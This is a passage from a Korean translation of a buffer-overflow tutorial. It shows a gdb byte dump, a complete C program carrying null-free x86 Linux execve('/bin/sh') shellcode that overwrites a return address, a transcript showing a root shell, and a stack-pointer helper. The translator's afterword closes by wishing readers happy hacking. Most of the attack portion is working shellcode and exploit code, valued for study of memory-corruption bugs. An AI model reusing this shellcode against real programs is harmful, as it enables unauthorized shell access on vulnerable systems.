0x80483dc : 0x80 (gdb) 0x80483dd : 0xe8 (gdb) 0x80483de : 0xe3 (gdb) 0x80483df : 0xff (gdb) 0x80483e0 : 0xff (gdb) 0x80483e1 : 0xff (gdb) 0x80483e2 : 0x2f (gdb) 0x80483e3 : 0x62 (gdb) 0x80483e4 : 0x69 (gdb) 0x80483e5 : 0x6e (gdb) 0x80483e6 : 0x2f (gdb) 0x80483e7 : 0x73 (gdb) 0x80483e8 : 0x68 <-------- 코드의 마지막 (gdb)quit 다시 쓴 프로그램: -------------- shell4.cpp Code Starts Here ---------------- char c0de[]= "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68"; void main(){ char buf[5]; long *ret=(long *)(buf+12); *ret=(long)c0de; } -------------- shell4.cpp Code Ends Here ---------------- shell4.cpp를 컴파일 root@scorpion#cc shell4.cpp -o shell4 root@scorpion#./shell4 sh-2.03# 작업한다. 그리고 이것은 이전의 코드보다 저 작으며, 널 문자열이 없기 때문에 strcpy(), sprintf()등의 함수에서도 모든 문자열을 복사할 것이다. 이건 현재의 프로그램의 스택 포인터를 출력하는 프로그램이다 : ------- sp.cpp Code Stars Here----------- unsigned long get_esp(){ __asm__(" movl %esp,%eax \n"); } void main(){ printf(" Stack pointer is 0x%x%\n",get_esp()); } ------- sp.cpp Code Ends Here----------- root@scorpion#cc sp.cpp -o sp root@scoprion#./sp 스택포인터는 0xbffff910 이다 <--- 출력의 값은 다소 차이가 있을 수 있다. root@scorpion# -EOF- 역자 꼬리말 : 이 문서를 번역하려 선택했던 이유는 단지 많은 설명이 있다는 것과 길긴 했지만 BOF가 뭔지 모르는 사람에게도 개념을 전할 수 있다고 판단했었기 때문입니다. 그러나 생각보다 설명이 많이 부족했던 것 같습니다. 그래도 알랩1의 문서를 보신분 들은 이 번역글의 허잡함을 바로 느낄 수 있을 것입니다. 틀린부분은 제게 e-mail을 주셔도 됩니다. 짧은 영어 실력으로 번역한거라 필히 틀린 부분이 있을 것으로 보입니다. 그럼 즐핵하시길 바랍니다.